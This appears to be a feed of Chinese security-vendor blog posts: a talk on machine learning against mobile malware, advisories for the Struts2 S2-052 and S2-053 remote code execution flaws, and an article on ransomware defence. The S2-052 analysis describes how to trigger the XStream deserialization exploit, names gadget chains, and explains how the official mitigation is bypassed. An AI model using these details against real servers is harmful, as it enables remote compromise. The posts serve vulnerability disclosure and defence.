Quantcast
Channel: 绿盟科技 –绿盟科技技术博客
Viewing all 240 articles
Browse latest View live

【视频】TechWorld2017热点回顾 |边缘计算和机器学习在移动威胁对抗中的思考

$
0
0

人工智能解决问题的时候通常是去收敛、去逼近、去寻找拟合,是一个逐步强化的过程。但是对于安全来讲,它是一个发散性的问题,是不收敛的,它的目标就是要通过不收敛的方法去对抗,要绕开你。所以这点上来讲网络安全和当前的整个人工智能大方向就是完全冲突的。

但是人工智能范围很大,我们还是可以在安全的整个过程当中使用这些先进的理念、方法和新的意识的东西。但是我觉得不要盲目地使用机器学习或者是这些新的算法。这里,我们需要先弄清楚为什么要用机器去学习前面的认知的过程,然后再讲讲我们怎么用,最后讲讲我们用的姿势和尝试的方法。

一. (WHY)移动威胁的对抗升级

移动威胁对抗的场景和特点直接驱动了新的对抗形势。

PC时代的恶意代码——速度和深度的对抗

首先还是回到移动威胁和安全问题的认知来看。我们以PC时代为例做一个比对。PC时代是一个非常经典的情况,今天有一个主机被攻陷了,一秒钟它自己变了两个,两秒钟以后变成了四个,你会发现它是以幂函数增长的。这个曲线的增长是一个从少到多逐步攻击面扩大的过程。而从这个过程中来看,基本是顺着网络结构,比如说扫描、嗅探,在网络上发散的方式直接传播的。

移动时代的恶意代码——不一样的攻击前提

但是对于移动上来讲,你会发现有很大的问题。

第一,没有直接穿透的攻击路径和攻击目标标定

到目前为止除了少数的几个案例和漏洞,能够达到这样的效果以外,目前不具备普遍的、广泛的、直接可以穿透打到一个攻击目标的移动终端的这样一种线路和模式;

第二,攻击之间缺少关联和网络效应

对于PC来讲,我知道你的IP,知道你的端口或者是你的公网IP,只要你在PC上有一个漏洞,这个漏洞是一个远程可溢出的,几乎意味着你只要插了电我就可以把这个电脑攻破。

但是手机不一样,手机到目前来看这种攻击模式目前没有普遍存在。对于手机来讲,以及它的网络结构上来看,你可以发现终端和终端之间的网络拓扑并不明显。

第三,没有规模化探测通道入口

虽然我们每个手机都上网,但是每个手机是通过运营商的网络中转和代理之后再去接入互联网的。每个手机随着基站的接入,随着网络的一些漫游,你会发现它的IP策略、整个路由的策略。一是一个大局域网的策略,也是一个变动的策略;二是我们在操作系统的设计和定义的时候你会发现,对于微软的操作系统,它大量地引入了像RTC COM组件、远程服务执行,这种远程通信能力很强的服务模式。

第四,没有低成本的规模化攻击模式

但是移动终端不一样。你会发现,它在操作系统的设计上,首先采用了双层的操作系统设计,底层的指令系统是Linux的,上层的指令下通常是面向与解释型的代码的指令,而且大量地引入了虚拟机,引入了多层的权限控制。本身来看它的终端的操作系统的目的就是功能和服务,而且是面向使用者服务,而不是面向其他的网络节点去通信和服务。

所以基本上来讲,在终端和终端之间的这种网络效应,通常来看是比较低耦合的,所以你会发现今天绝大部分的移动上的威胁和攻击,就是从社交网络来的欺诈、欺骗。

第五,天然碎片化和移动化

另外在动移动上一个很明显的点,天然的碎片化。每个人都有不同的移动终端,不同的移动终端拥有不同的操作系统,不同的操作系统拥有不同的版本。所以你会发现这种碎片化本身也是攻击的一种前置障碍和前提。因为攻击的前提如果不一样的话,攻击的可行性和有效性也会快速下降。

移动时代的恶意代码——广度和个性化

整个移动的恶意代码或者是威胁攻击的模式,我们在终端上、网络流量行为上以及在后端捕获的层面看一下分布的情况。你会发现它的整体分布和行为逻辑都是符合长尾模型的,基本上意味着整个恶意代码和威胁的头部的20%占了整个威胁量的80%。头部的效应非常明显,通常是艳遇、欺诈,在整个长尾的中部来看都是属于遭遇战,在长尾的尾部来看看起来像是一种巧遇,恰好盯上你了,恰好攻击到你了。

长尾上的分布和对抗策略

经过进一步的分析,能够间接的推导和证明,整个长尾上是结合产业链有一些相关的协作和分析关系的。比如说头部的色情键,不干嘛只干两个事儿,一是我要你的通讯录,要你的短信数据;二是时不时的分发一些其他的应用。包括后面来看,你会发现为什么有的移动恶意代码,尤其是面向银行的木马,攻击的那么准,很大的前提是因为在其他的产业链和黑产环节,早就已经具备了很强的个性化的精准定位能力。

移动威胁和攻击步骤在长尾上的展开

第一,移动威胁可以分阶段和步骤进行。

第二,移动威胁可以用产业链和交易的方式协作。有的人负责从隐私数据里面筛选出攻击目标,还有一些人专门是解决木马植入的。而且去年还看到非常有意思的现象,木马植入者地按小时提供木马植入服务。就是说我的木马不是卖给你,是按2小时有效、4小时有效等的小时计费的方式卖给你。甚至可以做到的是,你想什么时候有效,我都能帮你解决,达到这样一种高质量和高成功攻击率的效果,非常猖狂。

第三,移动威胁的价值变现手段和通道多样化。这是完全不同于PC时代的,我一直认为勒索软件在PC时代一直不是一个很大的威胁。只不过在PC威胁的末期,实在没有什么好的新的能够引起广泛重视的威胁出来。当然Wannacry不一样,Wannacry的本质是蠕虫。

移动时代的恶意代码——新平台带来的最大差异化

在移动上来讲,你会发现一个移动的勒索软件可能也就5块钱、20块钱,相比于其他的那些变现手段来讲,简直是小巫见大巫了。

所以移动威胁基本上不需要走网络规模化的幂增长曲线。也就是说,我要攻击哪些定向的人群,甚至要攻击哪个定向的个人,甚至是说我先看一下,这个终端上我是不是有手机号码了,是不是有验证码可以拦截了,这个手机对应的用户的银行帐号密码是不是齐全了。然后先解决这些信息都齐全的人。它是直接到攻击目标或者是分阶段逐步的组合成直接到攻击目标的效果。

移动威胁的核心对抗逻辑发生了倒置

在移动的时代,威胁攻击的模型带来的直观影响是入口效应被减弱了,直接意味着原来在整个PC时代的安全软件作为一个入口型的产品,商业价值被削弱了。

二是威胁一旦碎片化以后,对于安全厂商来讲,它的处置手段是急剧上升的。而这个时候如果还有免费的互联网模式,或者其他各种各样的变相的竞争参与的话,对于安全厂商来说,成本模型是进一步失控的。

最后,对抗的策略一定也要发生变化。因为你对抗的形式不太一样了,被动的防守策略已经不顶用了。

长尾的特点驱动出的机器学习的对抗动机

第一,温水煮青蛙模式。每个人都在以一个可以接受的程度被迫害。比如说我用一个应用,它有很多权限,要求我提供很多隐私。这好像对我也没有什么实际的损害,我就用了吧。有一些东西也是刚需,看起来图象很诱人,打开以后还有小视频之类的,对我也没有什么损害,甚至有些应用来讲一两块钱,我也接受了。

你其实会发现对于整个长尾的前端的一个很大的问题是,它到底恶意不恶意,它到底产生什么样的影响和危害。在这种情况下,我们通常需要高度依赖于行为和主观认知以及上下文去检测和判定。

二是通常来看需要大量的隐私数据,才能够判定出来这个应用到底有没有访问你的隐私,有没有回传、有没有处理。因为一旦要做检测,安全软件就要触碰隐私。

三是本地需要有优质的检测识别模型来对抗判定上的复杂度和逻辑。在中部来看,你会发现,我们是需要机器学习和自动化的手段,需要在时间、机理的复杂度和威胁的精细化聚类和分类上去对抗。在长尾上来讲,通常是需要通过机器学习的方法提供高效率的分类。

换言之,我能不能通过机器学习的算法或者是其他的方法,通过一个模型解决一个家族后面几十万个不同的变种,降低我人工介入的成本。在这个背景下,才产生真正意义上的我们为什么要用机器学习以及引用这样一些新的方法来解决移动威胁对抗的问题的前提。

也是在这个前提下,才产生了说为什么我们要去用人、要去用机器的引入来解决这个问题。当时要说清楚这个问题,我们还是得回到PC时代看以前是什么东西,从以前的角度再来看今天,为什么今天要不一样。

二. (WHAT)人和机器的接力

我们首先需要重新思考机器的定义和范围.

PC时代的归一化设计的思路和架构体系

对于以前的抗病毒思路(AV)大部分来看都是三大块:

第一,样本的捕获和样本的流转体系。

第二,引擎规划的检测逻辑和识别架构。

第三,整个样本分析流转的工程化平台以及对引擎的支撑逻辑。怎么样做自动化的静态、自动化的动态,人工分析做什么,怎么结合,最后怎么样让引擎的能力得到维系。

基本上这三块能代表一个传统AV厂商绝大部分的工作体系和内容工作了。

PC时代的恶意代码对抗是和时间的赛跑

那从这几大块可以发现,原来的整个PC时代的很多安全厂商在如今新一代的做法是什么。比如说我们要加强第一手样本的捕获,比如说我们要通过云计算的手段降低终端上的特征的更新周期,提高我们终端检测的延时性;比如说我们要在整个后端体系引入大数据的算法、优化我们的预警、预判能力;比如说我们要把沙箱所谓的下一代终端产品直接步入到企业级的内网,把安全厂商的能力打入到企业网络内部。思科2016年发布的一个报告里面提到了一个术语叫TTD。其实就是在发现威胁以后怎么样尽可能降低企业实际检测和发现威胁的时间的周期和能力。

所以你会发现PC时代的恶意代码对抗本质上就是和时间赛跑。但是对于移动来讲,由于前面的威胁对抗的模型不一样,对于整个原来传统的工程化体系和架构体系进行判定逻辑的时候,移动时代可能逻辑就不一样了。

移动威胁对抗中对机器能力的需求定义

  • 从样本的流转和样本的工程化的体系来看,在机器学习和人工智能的背景下需要做的更多。一是要有更多精细化的知识;二是可以作为低成本的分类器,减少我们的响应周期;三是可以为我们提供一些对抗性的训练,通过对抗性的训练来提高我们自身的响应能力、分解能力和产品能力的验证。
  • 在引擎上。怎么样引入机器学习?自然就绕不开在终端,在末端和这些所谓逻辑上和物理上的边缘,怎么样把边缘的引擎和整个后端平台上的引擎,形成一个基于机器学习视角的规划的一个架构。
  • 在工程化平台上,也就是后端的样本的自动化分析和流转的模型上,怎么样引入机器学习,怎么样通过机器学习的视角,重新的对工程化平台进行重构。
  • 原来在PC时代进行对抗的时候,不需要过多考虑威胁整体的分布和整体宏观的概念。但是今天来看如果我们没有大局观,在移动威胁的对抗一定是打不赢的。

移动威胁对抗中对机器的定义

边缘数据本地计算和处理的需求来自于移动威胁的碎片化和长尾分布的特点,也间接的要求了工程化体系中重新用“机器”资源的视角看待终端。

基于机器学习视角重新解读恶意代码后端工程化体系和重构

我们对于整个移动的恶意代码,包括恶意代码的后端工程化体系的平台,分别进行了重构。比如说原来的恶意代码的工程化体系、样本捕获、样本库和目标样本,在现在看来,其实就是数据集合、怎么样选择你要用哪些数据做训练、以及怎么样做特征提取的问题。原来的人工分析和自动化的分析,人工分析本质上是干聚类化分类的活,机器也是。

所以当前对于我们来讲,原来的整个恶意代码的工程化体系的平台,本质上是如何在机器的自动化的聚类和分类的基础上引入高级和高精准的人工的聚类和分类,形成成本模型的平衡。

最后,从输出上来讲,无非是输出模型、输出分类标签、输出结构化知识。

基于机器学习视角重新解读恶意代码识别引擎体系和重构

下一步就是对于一个引擎的重构,原来的逻辑可能是检测对象、上下文的信息,通过引擎本地的脱壳、其他的预处理,转化成我的目标检测数据。但是对于今天来看,我们把目标数据按照机器学习算法的需要转化为向量数据,通过向量数据结合本地的检测策略,适配合适的模型来通过模型得出合适的对应的结果。

这里有三个非常关键的基本能力指标:

一是除输出的检测结果。因为原来只是输出恶意代码检测的名称,但是今天来看可能就必须要能够输出基础向量,因为没有基础向量不能够和后端联动。

二是必须输出中间的分析结果。如果不输出中间分析结果,本地模型不能迭代。

三是第三方交换样本文件数据。在这个视角上来讲,你会发现第三方的样本和数据本质上是一个客观世界的流通,第三方的引擎其实就是第三方的分类器,会带来第三方的知识和第三方的情报。

基于机器学习视角重新解读样本捕获和交换体系

这里和生成对抗性网络的一些思路有点相似。但是在这里,目的不是通过对抗去强化算法的分类识别能力,而是通过对抗去验证。

所以在这里来讲,第三方的样本的交换数据和我们自己的分类器,也就是引擎,对相关数据得到的结果进行了交叉的比对。

输出有以下三类:

一是会输出新的标签和知识。这些标签和知识,应该是刚才说到的已知的未知。

二是对这些事情来讲,既然是已知的未知,怎么样和我原来的工程化平台结合,让我去加速和提高效率。

三是可以通过对抗的方式不断地验证和跟踪。

移动威胁对抗中对工程化支撑体系的需求

那对于我们今天来看,我们引入机器学习一个很大的目标点,其实要面向认知和面向知识来重构原来的工程化体系,尤其是要引入人机协作。因为到这个阶段来看的话,我们还是把机器学习和人工智能当成一种辅助增强,再去提高效率和优化能力。

它要解决的问题是什么呢?它要解决的问题能不能用线性人力成本的增长来解决机器非线性增长的问题。

所以你会发现通过两次降维,基本上可以让我们解决的问题是,不管你多线性的增长,通过机器先降一次维,通过人再降一次维,你会发现我们可以用限定的人力成本和机器结合去解决开发性、非线性的问题。

对于下一步来讲,你怎么样真正意义上把机器成本也去降维?在这个点上你会发现必须得有面向商业价值驱动体系来解决这个问题。因为机器的成本,包括机器带来的网络流量的成本几乎是刚性成本,这个成本也很高。

其实是怎么样解决原来人工的作业和机器学习的视角一个融合的问题。以及怎么样解决我们在每个终端上,然后通过机器学习的视角进行隐形重构的问题。通过这样一些重构呢,它实际上是可以形成基本内部的循环和基本逻辑的。在这个基本逻辑之下,基本上就完成了整个机器、人,包括新的模式、新的算法的能力引入。在这个过程的角度来讲,通过机器和人的显著的降维,是可以实现一个对恶意代码规模化增长的对抗。

三. (HOW&TRY)人和机器的协作

机器的加入首先是一场安全商业游戏其次才是威胁对抗。

移动威胁对抗中对机器和协作关系的重新定义

一旦我们把机器的范围从后端延展到了边缘端和终端的时候,其实就带来了新的资源。哪怕在一部手机上,每天只用引擎做了一次扫描,这一次扫描的时间是1分钟。但是当你有1亿部机器,乘以1分钟的时间计算资源,可能不亚于你整个后端平台上投入的资源了,而且还有分布式的,以及更好的一些效果。

那在这里来看的话,其实要把整个边缘带来计算的资源,通过大局观的模型,再转化成推荐和反馈的能力,重新回到你原来的平台能力基础之上。在这个基础之上来看的话,我们今天也在做一些新的尝试。

那第二点来看的话,怎么样把我们今天在终端上海量多维的覆盖,转化成真正意义上,对这些机器带来的资源和多边能力的使用。

最后来看,还是说怎么样把边缘侧计算能力通过合理的计算方式和计算的模型,转化成三个驱动力。

第一个驱动力是防御效果的驱动力,它是一个基础。因为你如果不能够为你整体的防御能力的提高和有效性的提高做出贡献的话,那可能你的基本功没有做好。

第二个是威胁事件的驱动。因为我们需要终端上边缘的感知能力,告诉我们到底真正高价值的数据和计算资源在哪里。

第三个是能不能通过边缘的计算和边缘的能力,给我们带来新的商业和业务驱动的能力。

通过这三个方向来讲的话,就需要重新回到我们后端的平台去重构和改变。

现场视频

文章来源:绿盟科技博客

Struts2 s2-052 REST插件远程代码执行技术分析与防护方案

$
0
0

2017年9月5日,Apache Struts发布最新的安全公告,Apache Struts 2.5.x以及之前的部分2.x版本的REST插件存在远程代码执行的高危漏洞,漏洞编号为CVE-2017-9805(S2-052)。漏洞的成因是由于使用XStreamHandler反序列化XStream实例的时候没有任何类型过滤导致远程代码执行。

相关地址:

https://struts.apache.org/docs/s2-052.html

https://cwiki.apache.org/confluence/display/WW/S2-052

受影响的版本

  • Struts 2.1.2 – Struts 2.3.33
  • Struts 2.5 – Struts 2.5.12

不受影响的版本

  • Struts 2.3.34
  • Struts 2.5.13

漏洞分析

根据官方的描述信息来看,是REST插件使用到XStreamHandler处理xml数据的时候,由于未对xml数据做任何过滤,在进行反序列将xml数据转换成Object时导致的RCE。

环境搭建

从官方地址(https://archive.apache.org/dist/struts/2.5/struts-2.5-all.zip)下载所有源码包,找到其中的struts2-rest-showcase.war直接部署到tomcat就行,当然我更喜欢手动编译,直接通过Maven编译即可。具体的部署过程这里就不详细描述,不过有点是需要注意的,由于javax.imageio的依赖关系,我们的环境的jdk版本需要是jdk8以上,jdk8某些低版本也是不行的,本文作者的版本是jdk8_102,后续的一些验证都是在这个版本上做的

补丁分析

环境搭建好了之后,首先我们来看下rest插件的相关配置

从这个文件中就可以看出XStreamHanler就是Content-Type:xml的默认处理句柄,而且可以看出xml是默认支持格式,这也就是说存在rest插件就会存在XStream的反序列化漏洞。

接着看看官方的修复方案,补丁地址:https://github.com/apache/struts/commit/19494718865f2fb7da5ea363de3822f87fbda264

在官方的修复方案中,主要就是将xml中的数据白名单化,把Collection和Map,一些基础类,时间类放在白名单中,这样就能阻止XStream反序列化的过程中带入一些有害类。

程序验证的生成

目前公开的程序验证是基于javax.imageio的,这是能直接本地执行命令,但是marshelsec提供了11个XStream反序列化库,其中大部分都是基于JNDI,具体包含:CommonsConfiguration, Rome, CommonsBeanutils, ServiceLoader, ImageIO, BindingEnumeration, LazySearchEnumeration, SpringAbstractBeanFactoryPointcutAdvisor, SpringPartiallyComparableAdvisorHolder, Resin, XBean,

从外部请求类完成反序列化。

漏洞验证及简单分析

下图是一个简单的验证分析图,从Poc中可以看出,请求是PUT,请求的url后缀带xml,请求的Content-Type为delicious/bookmark+xml,请求的xml的前缀是<set>.

接着我们看下触发的执行调用栈:

在XStreamHanler.toObject调用了XStream的fromXml,从而进入反序列化流程。

官方临时缓解措施不起作用

官方给出的缓解措施<constant name=”struts.action.extension” value=”xhtml,,,json” />,从字面意思也能看出来,这个是针对action的后缀的,也就是说如果后缀不带xml也就可以绕过。操作方式如下:

将下图红框部分修改为:

<constant name="struts.action.extension" value="xhtml,,json" />

具体修改方法为:

使用压缩工具打开对应的jar包,这里以struts2-rest-plugin-2.5.10.1.jar为例:

将struts-plugin.xml进行提取,修改对应的配置,重新放入压缩包中,替换原有配置:

重启服务器即可。

停止xml解析后,再次访问xml请求时,应用就会显示404错误,不再支持xml格式数据的解析。

下面给出测试用例,从我们的poc中也可以看出,POST请求不带xml的后缀直接忽视这个缓解措施。XStream只跟Content-Type有关,如果Content-Type中含有xml,则会交给XStream处理,所以poc该怎么使还怎么使,下面看下我们的验证:

从图上可以看出,我们已经去除了xml的支持,下面来看看Payload的执行效果:

成功弹出计算器,这也就验证了我们的想法。同时通过两个不同poc的比较,我们也能发现一些端倪,Content-Type支持xml的几种格式,POST请求,PUT请求,GET请求甚至是自定义请求都是能触发漏洞,我们可以将poc中<map><entry>换成<set>也能触发漏洞。同时由于XStream本身的Poc多达十一种,做好安全防御确实比较艰难。

技术防护方案

官方修复方案

Struts官方已经发布了最新版本,请受影响的受用尽快升级来进行防护。

参考链接:

  • Struts 2.3.34:

https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.3.34

  • Struts 2.5.13:

https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.13

绿盟科技防护建议

绿盟科技检测类产品与服务

  • 公网资产可使用绿盟云 紧急漏洞在线检测,检测地址如下:

https://cloud.nsfocus.com/#/krosa/views/initcdr/productandservice?page_id=12

2、内网资产可以使用绿盟科技的远程安全评估系统(RSAS V6)或 Web应用漏洞扫描系统(WVSS),以及入侵检测系统(IDS) 进行检测。

远程安全评估系统(RSAS V6)

http://update.nsfocus.com/update/listRsasDetail/v/vulweb

Web应用漏洞扫描系统(WVSS)

http://update.nsfocus.com/update/listWvss

入侵检测系统(IDS)

http://update.nsfocus.com/update/listIds

通过上述链接,升级至最新版本即可进行检测

使用绿盟科技防护类产品(IPS/IDS/NF/WAF)进行防护:

入侵防护系统(IPS)

http://update.nsfocus.com/update/listIps

下一代防火墙系统(NF)

http://update.nsfocus.com/update/listNf

Web应用防护系统(WAF)

http://update.nsfocus.com/update/wafIndex

通过上述链接,升级至最新版本即可进行防护!

临时解决方案

添加xml过滤器,将所有的contentType为“application/xml”的请求全部过滤。该方案会导致所有contentType为application/xml的请求失效,为暂时性的防护方案。

具体过滤器代码如下:

public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
			throws IOException, ServletException {
		if (request.getContentType() != null) {
			String contentType = request.getContentType().toLowerCase(Locale.ENGLISH);
			if (contentType != null && contentType.contains("application/xml")) {
				response.getWriter().write("Reject!");
			} else {
				chain.doFilter(request, response);
			}
		} else {
			chain.doFilter(request, response);
		}
	}

添加该过滤器后,使用POC测试,可以拦截:

需要注意的是,新版本使用的默认限制策略会导致REST的一些函数停止工作,会对一些业务造成影响,建议使用以下新的接口:

org.apache.struts2.rest.handler.AllowedClasses

org.apache.struts2.rest.handler.AllowedClassNames

org.apache.struts2.rest.handler.XStreamPermissionProvider

声 明

本安全公告仅用来描述可能存在的安全问题,绿盟科技不为此安全公告提供任何保证或承诺。由于传播、利用此安全公告所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,绿盟科技以及安全公告作者不为此承担任何责任。绿盟科技拥有对此安全公告的修改和解释权。如欲转载或传播此安全公告,必须保证此安全公告的完整性,包括版权声明等全部内容。未经绿盟科技允许,不得任意修改或者增减此安全公告内容,不得以任何方式将其用于商业目的。

关于绿盟科技

北京神州绿盟信息安全科技股份有限公司(简称绿盟科技)成立于2000年4月,总部位于北京。在国内外设有30多个分支机构,为政府、运营商、金融、能源、互联网以及教育、医疗等行业用户,提供具有核心竞争力的安全产品及解决方案,帮助客户实现业务的安全顺畅运行。

基于多年的安全攻防研究,绿盟科技在网络及终端安全、互联网基础安全、合规及安全管理等领域,为客户提供入侵检测/防护、抗拒绝服务攻击、远程安全评估以及Web安全防护等产品以及专业安全服务。

北京神州绿盟信息安全科技股份有限公司于2014年1月29日起在深圳证券交易所创业板上市交易,股票简称:绿盟科技,股票代码:300369。

如果您需要了解更多内容,可以
加入QQ群:570982169
直接询问:010-68438880

文章来源:绿盟科技博客

【预警通告】Apache Struts2(S2-053) 远程代码执行漏洞 威胁预警通告

$
0
0

2017年9月7日,Apache Struts发布最新的安全公告,Apache Struts 2 存在一个远程代码执行漏洞,漏洞编号为CVE-2017-12611(S2-053)。该漏洞源于在处理Freemarker标签时,如使程序员使用了不恰当的编码表达会导致远程代码执行。

相关链接如下:https://cwiki.apache.org/confluence/display/WW/S2-053

受影响版本:

  • Struts 2.0.1 – Sturts 2.3.33
  • Struts 2.5 – Struts 2.5.10

不受影响的版本

  • Struts 2.3.34
  • Struts 2.5.12

规避方案

用户应避免在Freemarker的结构代码中使用可写的属性,或者使用只读属性来初始化value属性(仅限getter属性)。

请受影响的用户立即升级到不受影响的版本来防护该漏洞。

参考链接:

Struts 2.5.12:

https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.12

Struts 2.3.34:

https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.3.34

官方表示,虽然新版本限制了Freemarker的配置属性,但是用户还是应该避免使用有问题的结构属性。

注:

由于2.5.12版本仍然受到近日的S2-052漏洞影响,建议用户直接升级到最新的2.5.13版本

https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.13

 

声 明

==============

本安全公告仅用来描述可能存在的安全问题,绿盟科技不为此安全公告提供任何保证或承诺。由于传播、利用此安全公告所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,绿盟科技以及安全公告作者不为此承担任何责任。绿盟科技拥有对此安全公告的修改和解释权。如欲转载或传播此安全公告,必须保证此安全公告的完整性,包括版权声明等全部内容。未经绿盟科技允许,不得任意修改或者增减此安全公告内容,不得以任何方式将其用于商业目的。

关于绿盟科技

================

北京神州绿盟信息安全科技股份有限公司(简称绿盟科技)成立于2000年4月,总部位于北京。在国内外设有30多个分支机构,为政府、运营商、金融、能源、互联网以及教育、医疗等行业用户,提供具有核心竞争力的安全产品及解决方案,帮助客户实现业务的安全顺畅运行。

基于多年的安全攻防研究,绿盟科技在网络及终端安全、互联网基础安全、合规及安全管理等领域,为客户提供入侵检测/防护、抗拒绝服务攻击、远程安全评估以及Web安全防护等产品以及专业安全服务。

北京神州绿盟信息安全科技股份有限公司于2014年1月29日起在深圳证券交易所创业板上市交易,股票简称:绿盟科技,股票代码:300369。

文章来源:绿盟科技博客

面对勒索软件的汹汹攻势,你应如何备战?

$
0
0

勒索软件是近年来增长快速的重大威胁。本文通过分析勒索软件的攻击方式、危害、发展趋势,探讨如何应对日益增多的勒索软件威胁,重点介绍沙箱技术在勒索软件检测的应用场景。

勒索软件通过加密受害者主机上的文档资料,索要赎金达到勒索的目的。勒索软件利用精心构造“阶段式”攻击方法,层层推进,逐步让受害者中招。

第一步,攻击者一般通过“水坑”或者“鱼叉”攻击,诱骗受害者点击,下载Launcher,通常是一个下载器,骗过防病毒软件的检测;

第二步,下载器链接黑客控制的服务器,下载真正的恶意文件,绕过防病毒检查,遍历受害者主机的文档,进行加密操作;

第三步,加密完成,在桌面醒目位置留下勒索信息;

1.勒索软件的危害

1.1 勒索软件的危害

勒索软件危害严重。2016年2月,美国一家医院,遭到勒索软件的入侵,文档被加密,业务系统无法识别,医生无法工作,病人无法接受治疗,医院陷入瘫痪。最后,医院不得以支付高达1万7千美金,换取文档资料的恢复,为此,医院的CEO专门发布了公开信,[1]

个人用户中了勒索软件,重要的资料,文档和照片等被加密,无法打开。及时按照勒索软件的指示,交纳赎金,依然存在被撕票的风险,严重者找不回来这些重要资料。绿盟科技客服部门,多次接到客户中了勒索软件的求助,咨询解决办法。

以上的案例可以看出,勒索软件对个人和企业,都有严重的影响。轻者如个人用户的资料文档损失,重者则使企业的业务运转停顿,无法持续。

1.2 勒索软件发展趋势

勒索软件在过去几年发展,呈现出这样的发展趋势:勒索软件的数量逐渐增多,富于变化,以及向多个操作系统,大数据平台进行扩散。

1)勒索软件数量持续增长

勒索软件的数量持续上升。勒索软件的制作者,得到赎金后,尝到甜头,相当于变相激励,制作越来越多的勒索软件;其他黑客组织,也会仿效,成为勒索软件的黑客犯罪团伙。根据赛门铁克2016年Q1的报告,2015年加密型勒索软件,占据所有勒索软件的比例越来越高,超过50%。从下面的图中柱状部分,加密型勒索软件的数量,每个月有数万个活跃的勒索软件。

勒索软件的受害者越来越多。卡巴斯基实验室2016年6月发布的研究报告[2],2015年4月至2016年3月,共有231万多人遭到勒索软件的侵害,比上一年提高17.7%。

2)勒索软件富于变化

同一个勒索软件家族,有多个变种。有时用Word宏感染,有时用js脚本的形式进行感染。勒索软件的制作者,处心积虑,时时关注最新漏洞披露情况,一旦发现可用的漏洞,便更新自己勒索工具。Gartner的报告显示[3],有勒索软件,最多使用15个漏洞利用进行攻击渗透。

2017年4月份发现的勒索软件Mole,将这种变化表现得淋漓尽致。据Palo Alto对此样本的研究[4],在短短的4天之内,Mole勒索软件就进行了三次变形。

3)勒索范围扩大化

勒索软件主要目标在Windows用户,逐步向移动设备(安卓),Mac OS X,Linux操作系统扩展。另外,勒索软件作者,还将Hadoop大数据平台,Elastic等数据分析平台纳入勒索目标,通过锁定数据库等手段进行勒索。

黑客通过一次的勒索行动,可以获利上百万美元,这是他们最大的动力。另外,随着比特币的流行,为黑客的转账行为提供方便。据报道,隐藏在勒索软件背后的黑客组织,在2015年,曾经获得了3亿多美金的利益。如此巨大利益回报,让黑客犯罪组织铤而走险。

另外,代码平台github上有关于勒索软件的开源程序,也为黑客提供了学习便利。更有甚者,暗网平台上,提供勒索软件定制服务,号称“ransomware as a service”,即勒索软件作为服务,可以制定勒索软件功能,针对杀毒软件的免杀等。勒索软件的制作者和发布者合作分工,加大了勒索软件的传播和感染风险。

勒索软件的发展趋势,深受黑客犯罪团伙利益的驱使。制作更多的勒索软件,攻击方式更精巧,武器更精良(漏洞利用),通过变形躲避终端防病毒的检测,尽可能感染更多的用户,才有可能收到更多的赎金。所谓“天下熙熙,皆为利来,天下攘攘,皆为利往”,在勒索软件的犯罪组织这里,体现的更加淋漓尽致。

2.勒索软件与APT威胁

APT高级持续性威胁,是另外一种高级威胁。勒索软件与APT威胁,既有相同点,也有不同点。比如,APT攻击也使用“水坑攻击”或者“鱼叉攻击”等手法进行入侵。但APT威胁,更多的是利用0Day漏洞,对抗的等级更高,通过APT事件的披露,更多的是国家之间的安全对抗。

比较 内容 勒索软件 APT
相似点 攻击手法 钓鱼邮件 鱼叉攻击

水坑攻击

攻击过程 下载器

最新的漏洞利用

下载器

最新漏洞利用

0Day漏洞

不同点 最终目的 勒索比特币 信息窃取
暴露方式 直接暴露 隐藏
僵尸网络 单点勒索 CnC网络

上表是APT威胁与勒索软件的异同点对比。在攻击手法和攻击过程上,二者类似。不过勒索软件更多借助垃圾邮件,广撒网,愿者上钩,钓到一个是一个。在攻击过程,都是“阶段式”攻击,如出一辙。APT威胁,攻击目标更高级,尽量隐藏自己,而勒索软件目的就是赤裸裸的索要赎金,感染加密后,立刻留下勒索信息。

中过勒索软件的企业,如果只是几个终端主机感染,没有造成重大损失,应该感到庆幸。试想,如果这次不是勒索软件,而是一起APT攻击,恐怕还有更大的风险在后面。勒索软件为企业敲响了警钟,需要认真对待高级威胁,尽管部署了很多安全产品,制定了安全管理规范,还是存在被入侵的风险。

3.勒索软件应对之道

勒索软件已成公害,世界范围内的用户和企业深受其苦。对于不慎感染勒索软件的用户,到底应该怎么办?支付和不支付赎金,这是一个问题。不支付,重要的文档,珍贵的图片,全部损失掉;对于企业,业务停顿,商业声誉降到最低点。如果支付,有可能解密恢复文件,业务系统恢复正常。但是,这也同时鼓励勒索行为,助长了黑客的气焰,变相提供资金支持。

这个矛盾的选择,网络上引起广泛讨论。如果能够恢复回来,没有人愿意给黑客支付赎金。在没有办法进行恢复的情况下,想要找回文件,恢复业务系统,就像前面提到的医院那样,为了恢复医院正常运营,不得不支付赎金。

3.1 勒索软件公益项目解密工具

各国政府和安全企业,积极参与勒索软件犯罪的打击和治理。欧洲刑警组织,联合卡巴斯基和Intel安全,成立了“no more ransom”公益项目[5],收集和整理部分勒索软件的解密工具。感染了勒索软件,应该首先浏览这个网站,碰碰运气,看看是否存在解密工具。网站提供了工具,上传两到三个被勒索软件加密的文档后,网站后台进行分析,判断是否有工具可用。笔者粗略浏览,网站提供30多个解密工具可用。

虽然有公益组织,提供部分解密工具,不过也只是一小部分;而且,勒索软件犯罪组织,一旦发现有破解方法,也会更新加密算法,让解密工具失效。

3.2 勒索软件应对之道

防范于未然,才是勒索软件的应对之道。安全意识培训,备份和采用高级威胁检测设备,是防范勒索软件的最佳实践。

首先,员工需要进行有效的安全意识培训,点击之前应思考。毕竟,APT威胁和勒索软件,都带有社交工程的色彩,诱骗用户点击。员工安全意识足够强,具有基本的分辨能力,不因好奇而点击不明身份的链接和附件,从源头上,遏制对勒索软件的感染风险。

其次,定期数据备份。一旦勒索软件加密文档,备份对数据恢复,业务持续性就显得尤为重要。备份要满足“3-2-1”的原则:即3份数据拷贝,要分散在2个不同的物理地点,并且有一份备份是离线数据备份。数据备份和数据恢复,需要定期演练,模拟发生重大网络安全实践,应急响应团队对数据恢复流程的操作,满足规范,能够在有限的规定时间内完成恢复任务。

